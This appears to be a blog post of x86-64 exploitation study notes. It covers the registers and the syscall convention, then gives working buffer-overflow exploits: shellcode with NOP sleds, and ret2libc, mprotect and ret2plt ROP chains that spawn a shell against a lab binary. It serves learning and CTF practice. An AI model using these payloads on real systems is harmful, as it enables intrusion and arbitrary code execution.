RAX - System Call number
RDI - 1st Argument
RSI - 2nd
RDX - 3rd
R10 - 4th
R8 - 5th
R9 - 6th
64-bit Registers Basic info
Accumulator Register (EAX/RAX): Used for arithmetic and logical operations, function return values, and passing function parameters.
- EAX: 32 bits
- AX: 16 bits
- AH: 8 bits (high-order half of AX)
- AL: 8 bits (low-order half of AX)
Base Register (EBX/RBX): Typically used as a pointer to data in memory or for holding a memory address.
- EBX: 32 bits
- BX: 16 bits
- BH: 8 bits (high-order half of BX)
- BL: 8 bits (low-order half of BX)
Count Register (ECX/RCX): Often used as a loop counter in iterative operations.
- ECX: 32 bits
- CX: 16 bits
- CH: 8 bits (high-order half of CX)
- CL: 8 bits (low-order half of CX)
Data Register (EDX/RDX): Used in I/O operations, as well as holding the high-order bits during multiplication and division.
- EDX: 32 bits
- DX: 16 bits
- DH: 8 bits (high-order half of DX)
- DL: 8 bits (low-order half of DX)
Stack Pointer Register (ESP/RSP): Keeps track of the top of the stack, used for managing function calls and local variables.
- ESP: 32 bits
Base Pointer Register (EBP/RBP): Used to reference parameters and variables within a stack frame.
- EBP: 32 bits
Source Index Register (ESI/RSI): Used as a source index for string and memory operations.
- ESI: 32 bits
Destination Index Register (EDI/RDI): Used as a destination index for string and memory operations.
- EDI: 32 bits
Instruction Pointer Register (EIP/RIP): Holds the memory address of the next instruction to be executed.
- EIP: 32 bits
Flags Register (EFLAGS/RFLAGS): Stores various condition flags that reflect the outcome of arithmetic and logical operations.
- EFLAGS: 32 bits
Default Vulnerable Functions
- printf
- gets
-
X64 Exploit concepts #JMP RAX - Find the RBP Offset and check control over RIP - Find `jmp rax` address either from our vuln binary using `ropper`. if not found - check in libc - `vmmap libc` will give the list of libc libraries - take the path of the libc and copy it to pwd. - Also, copy the libc base address (First address) - using ropper find the address - `file vuln` or `file libc` - `search jmp rsp` or `search call rsp` - Take the address - When an address is taken from an external library - we need to add the libc_base address with the instruction address. `buffer += pack("<Q",0x000000000002c16f + 0x00007ffff79e2000)` and use it as under RIP instruction. Final Exploit - `nops + shellcode + JUNK + JMP RAX` #JMP RSP - use when there is not enough space for shellcode before RIP register. Final Exploit - `JUNK + JMP RSP + nops + shellcode` #64-bit NX enabled RET2LIBC - Final Exploit - `JUNK + RET + POP RDI; RET + /bin/sh + system + exit`
Simple BOF from pwn import * nops = b"\x90"*30 shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") buffer = b"A" *(256 -len(nops) - len(shellcode)) buffer += b"B"*8 buffer += p64(0x7fffffffdc98) # Somewhere start of NOPS payload = nops + shellcode + buffer # Launch the vulnerable program and feed it the payload p = process(['./vuln', payload]) p.interactive()
NX/DEP Bypass - RET2LIBC
# Final Exploit - `JUNK + RET + POP RDI; RET + /bin/sh + system + exit`
from struct import *
libc_base = 0x00007ffff79e2000
buffer = b"A"*256
buffer += b"B"*8 #RBP
buffer += pack("<Q",libc_base + 0x00000000000008aa) #RET
buffer += pack("<Q",libc_base + 0x0000000000086388) #RIP - pop rdi, ret
buffer += pack("<Q",libc_base + 0x001b3d88) #/bin/sh address
buffer += pack("<Q",0x7ffff7a31420) #System address
buffer += pack("<Q",0x7ffff7a25110) #Exit address
print (buffer )
NX Bypass using Mprotect
ASLR = OFF
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
MPROTECT arguments - get the instructions/gadgets for the below and point them to the start of nopsled followed by shellcode
# RDI = Stack Base Address
# RSI = 0x01010101
# RDX = 0x7
# RIP = mprotect address
# Final Exploit
from struct import *
nops = "\x90"*30
#execve shellcode
shellcode = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
libc_base = 0x00007ffff79e2000
buffer = b"A"* (256 - len(nops)- len(shellcode) ) #offset
buffer += b"B"*8 #RBP
buffer += pack("<Q",libc_base + 0x0000000000086388) #pop rdi; ret;
buffer += pack("<Q",0x00007ffffffde000) #base address of stack
buffer += pack("<Q",libc_base + 0x0000000000023a6a) #pop rsi; ret;
buffer += pack("<Q",0x01010101) #Size of memory region
buffer += pack("<Q",libc_base + 0x0000000000001b96) #pop rdx; ret;
buffer += pack("<Q",0x7) #Permissions - RWX
buffer += pack("<Q",0x7ffff7afd7e0) #mprotect Address
buffer += pack("<Q",0x7fffffffde38) #Return address to Start of NOPS
print (nops + shellcode + buffer)
RET2PLT - NX & ASLR Bypass
- This exploit is to be used when The binary contain gadgets and functions useful for exploitation. Example: system.
- The binary should be compiled with -no-pie flag
EXPLOIT
# if system function is available
#Final Exploit - JUNK + ret + pop rdi; ret + sh + system
from struct import *
buffer = "A"*256 #RBP Offset
buffer += "B"*8 #RBP
#we are going to pass sh as an argument to system
#Arguments are pushed onto the registers first
#RDI is updated with sh and then next return goes to system with sh as argument
# which becomes system("sh")
#Ret is to avoid 16-bit alignment issues
buffer += pack("<Q",0x0000000000400476) #ret
buffer += pack("<Q",0x0000000000400693) #pop rdi; ret;
buffer += pack("<Q",0x4006d9) #sh string from binary
buffer += pack("<Q",0x4004a0) #system@plt func address
print (buffer)
No comments:
Post a Comment